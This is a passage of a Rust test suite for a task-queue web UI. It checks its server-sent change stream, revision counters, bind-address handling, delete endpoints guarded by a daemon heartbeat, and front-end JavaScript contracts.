20387 let mut seen = String::new();
20390 let mut buf = [0u8; 1024];
20391 while !seen.contains("event: change") {
20392 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20393 .await
20394 .expect("the stream must speak within five seconds")
20395 .expect("read");
20396 assert!(read > 0, "the server closed the change stream: {seen}");
20397 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20398 }
20399
20400 assert!(
20401 seen.to_lowercase()
20402 .contains("content-type: text/event-stream"),
20403 "the browser only reconnects automatically for a real SSE stream: {seen}"
20404 );
20405 let data = seen
20406 .lines()
20407 .find_map(|l| l.strip_prefix("data:"))
20408 .expect("a data line");
20409 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20410 assert!(
20411 payload["queue_rev"].is_u64()
20412 && payload["runs_rev"].is_u64()
20413 && payload["questions_rev"].is_u64()
20414 && payload["talks_rev"].is_u64()
20415 && payload["notifications_rev"].is_u64()
20416 && payload["loop_rev"].is_u64(),
20417 "the client needs one revision per store to know what to refetch, \
20418 and `talks_rev` is the only notification a standing talk gets - a \
20419 phone whose radio slept through a turn learns about it here, as \
20420 does one whose operator started the loop from another device: \
20421 {payload}"
20422 );
20423
20424 let health = f.get("/api/health").await.json();
20431 for key in [
20432 "queue_rev",
20433 "runs_rev",
20434 "questions_rev",
20435 "talks_rev",
20436 "notifications_rev",
20437 "loop_rev",
20438 ] {
20439 assert!(
20440 health[key].is_u64(),
20441 "health is the change stream's fallback and is missing `{key}`: {health}"
20442 );
20443 }
20444 }
20445
20446 #[tokio::test]
20447 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20448 let f = Fixture::start().await;
20449 let before = f.get("/api/health").await.json()["talks_rev"]
20450 .as_u64()
20451 .expect("talks_rev");
20452
20453 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20454 std::thread::sleep(Duration::from_millis(10));
20455 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20456 on_disk.turns.push(crate::talk::Turn {
20457 sender: None,
20458 breaks: Some(Vec::new()),
20459 messages: Vec::new(),
20460 posted_by: None,
20461 who: crate::talk::Who::Operator,
20462 body: "a new turn".to_owned(),
20463 at: Timestamp::now(),
20464 attachments: Vec::new(),
20465 usage: None,
20466 });
20467 f.talks().put(&mut on_disk).expect("record a turn");
20468
20469 let after = tokio::time::timeout(Duration::from_secs(5), async {
20470 loop {
20471 let revision = f.get("/api/health").await.json()["talks_rev"]
20472 .as_u64()
20473 .unwrap();
20474 if revision != before {
20475 break revision;
20476 }
20477 tokio::time::sleep(Duration::from_millis(50)).await;
20478 }
20479 })
20480 .await
20481 .expect("shared monitor observes external turn");
20482 assert_ne!(
20483 before, after,
20484 "a phone must be able to notice a talk's reply without polling every store"
20485 );
20486 }
20487
20488 #[test]
20489 fn bind_reads_back_from_the_spelling_the_cli_prints() {
20490 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20494 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20495 }
20496 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20497 assert!("everywhere".parse::<Bind>().is_err());
20498 }
20499
20500 #[test]
20501 fn an_explicit_bind_address_is_taken_verbatim() {
20502 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20503
20504 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20505
20506 assert_eq!(addr, asked);
20507 assert!(
20508 warning.is_none(),
20509 "an operator who named an address gets no lecture"
20510 );
20511 }
20512
20513 #[test]
20514 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20515 let (addr, warning) = resolve_bind(&Bind::Auto);
20516
20517 match addr {
20524 IpAddr::V4(ip) if is_tailnet(&ip) => {
20525 assert!(warning.is_none(), "a tailnet address needs no warning");
20526 }
20527 other => {
20528 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20529 let warning = warning.expect("a fallback has to explain itself");
20530 assert!(
20531 warning.contains("127.0.0.1") && warning.contains("local-only"),
20532 "the warning says what happened and what it costs: {warning}"
20533 );
20534 }
20535 }
20536 }
20537
20538 #[test]
20539 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20540 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20544 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20545 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20546 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20547 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20548 }
20549
20550 #[test]
20551 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20552 let ids = vec![
20553 "20260902-140501-aaaa".to_owned(),
20554 "20260902-140502-aabb".to_owned(),
20555 ];
20556
20557 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20558 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20559 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20560
20561 assert_eq!(missing.status, StatusCode::NOT_FOUND);
20562 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20563 assert_eq!(short, "20260902-140502-aabb");
20564 }
20565 #[tokio::test]
20566 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20567 let fx = Fixture::start().await;
20573 let id = panel(
20574 &fx,
20575 "<img src=\"shot.png\">",
20576 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20577 );
20578
20579 let doc = fx
20581 .get(&format!("/api/questions/{id}/panel/index.html"))
20582 .await;
20583 assert_eq!(doc.status, 200, "{}", doc.body);
20584 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20585
20586 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20587 assert_eq!(sibling.status, 200, "{}", sibling.body);
20588 assert_eq!(sibling.header("content-type"), Some("image/png"));
20589 assert_eq!(
20590 sibling.header("content-security-policy"),
20591 Some(PANEL_CSP),
20592 "the sibling route must carry the same policy as the asset route"
20593 );
20594
20595 assert_eq!(
20598 fx.head(&format!("/api/questions/{id}/panel")).await.status,
20599 200
20600 );
20601 }
20602
20603 #[test]
20604 fn delta_stamps_cover_add_update_remove_and_noop() {
20605 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20606 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20607 let delta = diff_stamps(&before, &after, 42);
20608 assert_eq!(delta.base, 42);
20609 assert_eq!(delta.changed, ["b", "c"]);
20610 assert_eq!(delta.removed, ["a"]);
20611 let same = diff_stamps(&after, &after, 43);
20612 assert!(same.changed.is_empty() && same.removed.is_empty());
20613 assert_ne!(stamps_revision(&before), stamps_revision(&after));
20614 let nanos: Stamps = [("b".into(), (2, 20))].into();
20615 let same_ms: Stamps = [("b".into(), (3, 20))].into();
20616 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20617 assert_eq!(stamps_revision(&Stamps::new()), 0);
20618 }
20619
20620 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20621 std::fs::create_dir_all(home.join("runs")).unwrap();
20622 Arc::new(Ui::new(
20623 Queue::at(home.join("queue")),
20624 Questions::at(home.join("questions")),
20625 Talks::at(home.join("talks")),
20626 home.join("runs"),
20627 home.to_owned(),
20628 PathBuf::from("/repo/magi"),
20629 ))
20630 }
20631
20632 #[test]
20633 fn monitor_scan_isolates_store_failures_and_recovers() {
20634 let home = TempDir::new().unwrap();
20635 let ui = delta_test_ui(home.path());
20636 std::fs::create_dir_all(ui.questions.root()).unwrap();
20637 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
20638 let before = monitor_scan(&ui, None);
20639 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
20640 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20641 std::fs::create_dir_all(ui.talks.root()).unwrap();
20642 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
20643 let during = monitor_scan(&ui, Some(before.clone()));
20644 assert_eq!(during.0.2, before.0.2);
20645 assert_ne!(during.0.3, before.0.3);
20646 assert!(during.1[2].contains_key("new"));
20647 std::fs::remove_file(ui.questions.root()).unwrap();
20648 let after = monitor_scan(&ui, Some(during));
20649 assert_eq!(after.0.2, 0);
20650 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
20651 std::fs::write(ui.questions.root(), "not a directory").unwrap();
20653 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
20654 }
20655
20656 #[tokio::test]
20657 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
20658 let home = TempDir::new().unwrap();
20659 let ui = delta_test_ui(home.path());
20660 let mut task = Task::new(
20661 "stream task".into(),
20662 "text".into(),
20663 PathBuf::from("/repo"),
20664 Source::Human,
20665 );
20666 ui.queue.put(&mut task).unwrap();
20667 let response = events(State(ui.clone())).await.into_response();
20668 let mut stream = response.into_body().into_data_stream();
20669 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
20670 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
20671 .await
20672 .unwrap()
20673 .unwrap()
20674 .unwrap();
20675 let text = String::from_utf8(chunk.to_vec()).unwrap();
20676 let data = text
20677 .lines()
20678 .find_map(|line| {
20679 line.strip_prefix("data: ")
20680 .or_else(|| line.strip_prefix("data:"))
20681 })
20682 .unwrap();
20683 serde_json::from_str(data).unwrap()
20684 }
20685 let initial = change(&mut stream).await;
20686 assert!(initial.get("queue_delta").is_none());
20687 task.instruction.push_str(" changed");
20688 ui.queue.put(&mut task).unwrap();
20689 let updated = change(&mut stream).await;
20690 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
20691 assert_eq!(
20692 updated["queue_delta"]["changed"],
20693 serde_json::json!([task.id])
20694 );
20695 assert_eq!(
20696 updated["queue_rev"].as_u64(),
20697 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
20698 );
20699 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
20700 let removed = change(&mut stream).await;
20701 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
20702 assert_eq!(
20703 removed["queue_delta"]["removed"],
20704 serde_json::json!([task.id])
20705 );
20706 }
20707
20708 #[tokio::test]
20709 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
20710 let home = TempDir::new().unwrap();
20711 let ui = delta_test_ui(home.path());
20712 let queue = ui.queue.clone();
20713 let query = |ids: Option<&str>| {
20714 Query(ListQuery {
20715 limit: Some(2),
20716 ids: ids.map(str::to_owned),
20717 })
20718 };
20719 let mut root = Task::new(
20720 "root".into(),
20721 "instruction".into(),
20722 PathBuf::from("/repo"),
20723 Source::Human,
20724 );
20725 queue.put(&mut root).unwrap();
20726 let mut blocked = Task::new(
20727 "blocked".into(),
20728 "instruction".into(),
20729 PathBuf::from("/repo"),
20730 Source::Human,
20731 );
20732 blocked.block(vec![root.id.clone()], None);
20733 queue.put(&mut blocked).unwrap();
20734 let whole =
20735 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
20736 .unwrap();
20737 let subset = serde_json::to_value(
20738 queue_list(State(ui.clone()), query(Some(&root.id)))
20739 .await
20740 .unwrap()
20741 .0,
20742 )
20743 .unwrap();
20744 assert_eq!(whole, subset, "requested root plus its blocked dependent");
20745 let blockers = serde_json::to_value(
20746 queue_list(State(ui.clone()), query(Some("")))
20747 .await
20748 .unwrap()
20749 .0,
20750 )
20751 .unwrap();
20752 assert_eq!(blockers.as_array().unwrap().len(), 1);
20753 assert_eq!(blockers[0]["id"], blocked.id);
20754 assert_eq!(
20755 blockers[0]["waits_on"],
20756 whole
20757 .as_array()
20758 .unwrap()
20759 .iter()
20760 .find(|row| row["id"] == blocked.id)
20761 .unwrap()["waits_on"]
20762 );
20763
20764 for id in [
20765 "20260902-140501-aaaa",
20766 "20260902-140502-bbbb",
20767 "20260902-140503-cccc",
20768 ] {
20769 write_run(&ui.runs, id, RunStatus::Merged);
20770 }
20771 let old = serde_json::to_value(
20772 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
20773 .await
20774 .unwrap()
20775 .0,
20776 )
20777 .unwrap();
20778 assert!(
20779 old.as_array().unwrap().is_empty(),
20780 "older updates must not enter the window"
20781 );
20782 let newest = serde_json::to_value(
20783 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
20784 .await
20785 .unwrap()
20786 .0,
20787 )
20788 .unwrap();
20789 assert_eq!(newest.as_array().unwrap().len(), 1);
20790 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
20791
20792 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
20793 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
20794 let talks = serde_json::to_value(
20795 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
20796 .await
20797 .unwrap()
20798 .0,
20799 )
20800 .unwrap();
20801 assert_eq!(talks.as_array().unwrap().len(), 1);
20802 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
20803 assert_eq!(
20804 serde_json::to_value(
20805 talks_list(State(ui.clone()), query(Some("")))
20806 .await
20807 .unwrap()
20808 .0
20809 )
20810 .unwrap(),
20811 serde_json::json!([])
20812 );
20813 }
20814
20815 #[tokio::test]
20816 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
20817 async fn delta_payload_benchmark() {
20818 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
20819 let ui = delta_test_ui(&home);
20820 let query = |ids: Option<String>| {
20821 Query(ListQuery {
20822 limit: Some(50),
20823 ids,
20824 })
20825 };
20826 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
20827 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
20828 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
20829 let queue_id = queue
20830 .iter()
20831 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
20832 .unwrap_or(&queue[0])
20833 .task
20834 .id
20835 .clone();
20836 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
20837 .await
20838 .unwrap()
20839 .0;
20840 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
20841 .await
20842 .unwrap()
20843 .0;
20844 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
20845 .await
20846 .unwrap()
20847 .0;
20848 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
20849 eprintln!(
20850 "DELTA_PAYLOAD {}",
20851 serde_json::json!({
20852 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
20853 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
20854 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
20855 "counts": [queue.len(), runs.len(), talks.len()],
20856 "blocked": queue_delta.len() - 1,
20857 })
20858 );
20859 }
20860
20861 #[test]
20862 fn runs_revision_moves_when_deleting_an_older_run() {
20863 let temp = TempDir::new().expect("tempdir");
20864 let runs = temp.path().join("runs");
20865 std::fs::create_dir_all(&runs).expect("create runs dir");
20866
20867 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
20868
20869 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
20870 std::thread::sleep(Duration::from_millis(10));
20871 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
20872
20873 let rev_before = runs_revision(&runs);
20874 assert!(rev_before > 0);
20875
20876 let old_dir = runs.join("20260901-100000-old1");
20877 std::fs::remove_dir_all(&old_dir).expect("remove old run");
20878
20879 let rev_after = runs_revision(&runs);
20880 assert_ne!(
20881 rev_before, rev_after,
20882 "deleting an older run must change the revision so other clients see the deletion"
20883 );
20884 }
20885
20886 fn write_state(runs: &FsPath, state: &RunState) {
20891 let dir = runs.join(&state.id);
20892 std::fs::create_dir_all(&dir).expect("run dir");
20893 std::fs::write(
20894 dir.join("run.json"),
20895 serde_json::to_string_pretty(state).expect("serialize run"),
20896 )
20897 .expect("write run.json");
20898 }
20899
20900 #[test]
20905 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
20906 let temp = TempDir::new().expect("tempdir");
20907 let runs = temp.path().join("runs");
20908 std::fs::create_dir_all(&runs).expect("create runs dir");
20909 let mut state = RunState::new(
20910 PathBuf::from("/repo/magi"),
20911 "main".to_owned(),
20912 "0123456789abcdef".to_owned(),
20913 "task".to_owned(),
20914 Config::default(),
20915 );
20916 state.id = "20260902-100000-c0de".to_owned();
20917 write_state(&runs, &state);
20918
20919 let rev_idle = runs_revision(&runs);
20920 std::thread::sleep(Duration::from_millis(10));
20921 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
20922 write_state(&runs, &state);
20923 let rev_started = runs_revision(&runs);
20924 assert_ne!(
20925 rev_idle, rev_started,
20926 "a seat starting must move the revision"
20927 );
20928
20929 std::thread::sleep(Duration::from_millis(10));
20930 state.seat_finished("judge-1");
20931 write_state(&runs, &state);
20932 let rev_finished = runs_revision(&runs);
20933 assert_ne!(
20934 rev_started, rev_finished,
20935 "and clearing it again must move the revision a second time"
20936 );
20937 }
20938
20939 #[tokio::test]
20940 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
20941 let fx = Fixture::start().await;
20946 let q = fx.queue();
20947
20948 let mut t = Task::new(
20949 "Task".to_owned(),
20950 "Instruction".to_owned(),
20951 PathBuf::from("/repo"),
20952 Source::Human,
20953 );
20954 t.block(
20955 vec!["20260101-000000-dead".to_owned()],
20956 Some("waiting on Task 1".to_owned()),
20957 );
20958 t.answers.push(crate::queue::AnsweredQuestion {
20959 question: "Which backend?".to_owned(),
20960 answer: "SQLite".to_owned(),
20961 });
20962 q.put(&mut t).expect("put t");
20963
20964 let res = fx.get("/api/queue").await;
20965 assert_eq!(res.status, 200);
20966 let list = res.json();
20967 let view = list
20968 .as_array()
20969 .expect("array")
20970 .iter()
20971 .find(|v| v["id"] == t.id)
20972 .expect("task in list");
20973 assert_eq!(view["status_str"], "blocked");
20974 assert_eq!(
20975 view["blocked_by"],
20976 serde_json::json!(["20260101-000000-dead"])
20977 );
20978 assert_eq!(view["block_reason"], "waiting on Task 1");
20979 assert_eq!(view["answers"][0]["question"], "Which backend?");
20980 assert_eq!(view["answers"][0]["answer"], "SQLite");
20981
20982 let res = fx
20986 .post(&format!("/api/queue/{}/hold", t.short()), None)
20987 .await;
20988 assert_eq!(res.status, 200);
20989 let held = res.json();
20990 assert_eq!(held["status_str"], "held");
20991 assert_eq!(held["blocked_by"], serde_json::json!([]));
20992 assert!(held["block_reason"].is_null());
20993 assert_eq!(held["answers"][0]["answer"], "SQLite");
20994 }
20995
20996 #[tokio::test]
20997 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20998 let fx = Fixture::start().await;
20999 let q = fx.queue();
21000 let mk = |title: &str| {
21001 Task::new(
21002 title.to_owned(),
21003 "Instruction".to_owned(),
21004 PathBuf::from("/repo"),
21005 Source::Human,
21006 )
21007 };
21008 let mut root = mk("root");
21009 root.hold_manual(Some("waiting".to_owned()));
21010 q.put(&mut root).unwrap();
21011 let mut mid = mk("mid");
21012 mid.block(vec![root.id.clone()], None);
21013 q.put(&mut mid).unwrap();
21014 let mut leaf = mk("leaf");
21015 leaf.block(vec![mid.id.clone()], None);
21016 q.put(&mut leaf).unwrap();
21017
21018 let list = fx.get("/api/queue").await.json();
21019 let find = |id: &str| {
21020 list.as_array()
21021 .unwrap()
21022 .iter()
21023 .find(|v| v["id"] == id)
21024 .unwrap()
21025 .clone()
21026 };
21027 let leaf_view = find(&leaf.id);
21028 assert_eq!(
21029 leaf_view["waits_on"],
21030 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21031 );
21032 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21033 assert_eq!(
21034 find(&mid.id)["waits_on"],
21035 serde_json::json!([format!("{} (held)", root.short())])
21036 );
21037 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21038 }
21039
21040 #[tokio::test]
21041 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21042 let fx = Fixture::start().await;
21043 let q = fx.queue();
21044
21045 let mut t1 = Task::new(
21047 "Task 1".to_owned(),
21048 "Instruction 1".to_owned(),
21049 PathBuf::from("/repo"),
21050 Source::Human,
21051 );
21052 let run_id = "20260901-000000-r111";
21053 t1.runs.push(run_id.to_owned());
21054 write_run(&fx.runs(), run_id, RunStatus::Merged);
21055 q.put(&mut t1).expect("put t1");
21056
21057 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21059 assert_eq!(res.status, 204);
21060 assert!(res.body.is_empty(), "204 No Content has no body");
21061 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21062 assert!(
21063 fx.runs().join(run_id).exists(),
21064 "run directory must not be deleted when its task is deleted"
21065 );
21066
21067 let mut t2 = Task::new(
21069 "Task 2".to_owned(),
21070 "Instruction 2".to_owned(),
21071 PathBuf::from("/repo"),
21072 Source::Human,
21073 );
21074 t2.status = TaskStatus::Running;
21075 q.put(&mut t2).expect("put t2");
21076 let mut beat = crate::daemon::Status::new();
21077 beat.current = vec![crate::daemon::Current {
21078 task: t2.id.clone(),
21079 run: "20260901-000000-r222".to_owned(),
21080 }];
21081 beat.updated_at = jiff::Timestamp::now();
21082 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21083 .expect("publish a heartbeat");
21084 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21085 assert_eq!(res.status, 409);
21086 assert!(
21087 res.json()["error"]
21088 .as_str()
21089 .unwrap()
21090 .contains("live daemon")
21091 );
21092 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21093
21094 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21100 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21101 .expect("leave a stale heartbeat");
21102 let mut t3 = Task::new(
21103 "Task 3".to_owned(),
21104 "Instruction 3".to_owned(),
21105 PathBuf::from("/repo"),
21106 Source::Human,
21107 );
21108 t3.status = TaskStatus::Running;
21109 q.put(&mut t3).expect("put t3");
21110 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21111 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21112 assert_eq!(res.status, 204);
21113 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21114 assert!(
21115 q.claim(&t3.id).is_ok(),
21116 "the stale lock went with it, so the id is claimable again"
21117 );
21118
21119 let res = fx.delete("/api/queue/nonexistent").await;
21121 assert_eq!(res.status, 404);
21122 }
21123
21124 #[tokio::test]
21125 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21126 let fx = Fixture::start().await;
21127 let runs = fx.runs();
21128
21129 let run_id = "20260901-000000-fold";
21131 let mut state = RunState::new(
21132 PathBuf::from("/repo"),
21133 "main".to_owned(),
21134 "abc".to_owned(),
21135 "instruction".to_owned(),
21136 Config::default(),
21137 );
21138 state.id = run_id.to_owned();
21139 state.status = RunStatus::Merged;
21140 state.candidates.push(crate::run::Candidate {
21141 index: 0,
21142 label: 'A',
21143 agent: "a".to_owned(),
21144 branch: "b".to_owned(),
21145 worktree: PathBuf::from("/w"),
21146 summary: String::new(),
21147 stat: String::new(),
21148 files: 1,
21149 commits: 1,
21150 empty: false,
21151 failed: None,
21152 verified_noop: None,
21153 duration_ms: 0,
21154 folded: true,
21155 });
21156 let dir = runs.join(run_id);
21157 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21158 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21159 .expect("write artifact");
21160 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21161 .expect("write run.json");
21162
21163 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21165 assert_eq!(res.status, 204);
21166 assert!(res.body.is_empty(), "204 has no body");
21167 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21168
21169 let run_running = "20260901-000000-rung";
21174 write_run(&runs, run_running, RunStatus::Prep);
21175 let mut beat = crate::daemon::Status::new();
21176 beat.current = vec![crate::daemon::Current {
21177 task: "20260901-000000-task".to_owned(),
21178 run: run_running.to_owned(),
21179 }];
21180 beat.updated_at = jiff::Timestamp::now();
21181 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21182 .expect("publish a heartbeat");
21183 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21184 assert_eq!(res.status, 409);
21185 assert!(
21186 res.json()["error"]
21187 .as_str()
21188 .unwrap()
21189 .contains("live daemon"),
21190 "the refusal must say who is holding it"
21191 );
21192 assert!(
21193 runs.join(run_running).exists(),
21194 "a run in flight keeps its directory"
21195 );
21196
21197 let run_unfolded = "20260901-000000-unfd";
21199 let mut state2 = RunState::new(
21200 PathBuf::from("/repo"),
21201 "main".to_owned(),
21202 "abc".to_owned(),
21203 "instruction".to_owned(),
21204 Config::default(),
21205 );
21206 state2.id = run_unfolded.to_owned();
21207 state2.status = RunStatus::Ready;
21208 state2.candidates.push(crate::run::Candidate {
21209 index: 0,
21210 label: 'A',
21211 agent: "a".to_owned(),
21212 branch: "b".to_owned(),
21213 worktree: PathBuf::from("/w"),
21214 summary: String::new(),
21215 stat: String::new(),
21216 files: 1,
21217 commits: 1,
21218 empty: false,
21219 failed: None,
21220 verified_noop: None,
21221 duration_ms: 0,
21222 folded: false,
21223 });
21224 let dir2 = runs.join(run_unfolded);
21225 std::fs::create_dir_all(&dir2).expect("create dir2");
21226 std::fs::write(
21227 dir2.join("run.json"),
21228 serde_json::to_string(&state2).unwrap(),
21229 )
21230 .expect("write run.json");
21231
21232 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21233 assert_eq!(res.status, 409);
21234 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21235 assert!(dir2.exists(), "unfolded run directory is kept");
21236
21237 let res = fx.delete("/api/runs/nonexistent").await;
21239 assert_eq!(res.status, 404);
21240 }
21241
21242 #[test]
21251 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21252 let start = APP_JS
21253 .find("function renderStats() {")
21254 .expect("renderStats");
21255 let end = start
21256 + APP_JS[start..]
21257 .find("function statsTile(")
21258 .expect("the next top-level function");
21259 let body = &APP_JS[start..end];
21260
21261 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21262 let gate_end = gate_start
21263 + body[gate_start..]
21264 .find("}\n renderStatsQueue")
21265 .expect("the gate's own closing brace, right before the unconditional call");
21266 let gated = &body[gate_start..gate_end];
21267
21268 assert_eq!(
21269 body.matches("renderStatsQueue(").count(),
21270 1,
21271 "renderStats must call renderStatsQueue exactly once: {body}"
21272 );
21273 assert!(
21274 !gated.contains("renderStatsQueue"),
21275 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21276 run-derived panels on an empty run history - the queue panel has to render \
21277 regardless: {gated}"
21278 );
21279 }
21280
21281 #[test]
21282 fn web_ui_delete_contract_in_front_end() {
21283 assert!(APP_JS.contains("deleteRun:"));
21285 assert!(APP_JS.contains("deleteTask:"));
21286
21287 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21289 ..APP_JS.find("function renderRuns").unwrap()];
21290 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21291
21292 assert!(APP_JS.contains("renderRunDelete"));
21294 assert!(APP_JS.contains("runDeleteReason"));
21295 assert!(APP_JS.contains("magi fold"));
21296 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21297
21298 assert!(APP_JS.contains("cancel.focus"));
21300 assert!(APP_JS.contains("armedRunDelete"));
21301 assert!(APP_JS.contains("renderTaskDeleteBox"));
21302 assert!(APP_JS.contains("armed${cap(key)}"));
21303
21304 assert!(APP_JS.contains("disabled: status === \"running\""));
21306 }
21307
21308 #[test]
21328 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21329 let build = APP_JS
21330 .find("function createRunCard")
21331 .expect("createRunCard exists");
21332 let update = APP_JS
21333 .find("function updateRunCard")
21334 .expect("updateRunCard exists");
21335 let end = APP_JS
21336 .find("function renderRuns")
21337 .expect("renderRuns exists");
21338
21339 let builder = &APP_JS[build..update];
21341 let open = builder.find("refs = {").expect("createRunCard sets refs");
21342 let literal = &builder[open + "refs = {".len()..];
21343 let close = literal.find('}').expect("the refs literal is closed");
21344 let published: HashSet<&str> = literal[..close]
21345 .split(',')
21346 .filter_map(|entry| entry.split(':').next())
21348 .map(str::trim)
21349 .filter(|name| !name.is_empty())
21350 .collect();
21351 assert!(
21352 published.len() > 5,
21353 "the refs literal did not parse into names: {published:?}"
21354 );
21355
21356 let mut used: Vec<&str> = Vec::new();
21359 let updaters = &APP_JS[update..end];
21360 for (at, _) in updaters.match_indices("r.") {
21361 let before = updaters[..at].chars().next_back();
21364 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21365 continue;
21366 }
21367 let rest = &updaters[at + 2..];
21368 let len = rest
21369 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21370 .unwrap_or(rest.len());
21371 if len > 0 {
21372 used.push(&rest[..len]);
21373 }
21374 }
21375 assert!(
21376 used.len() > 5,
21377 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21378 );
21379
21380 let missing: Vec<&str> = used
21381 .iter()
21382 .copied()
21383 .filter(|name| !published.contains(name))
21384 .collect();
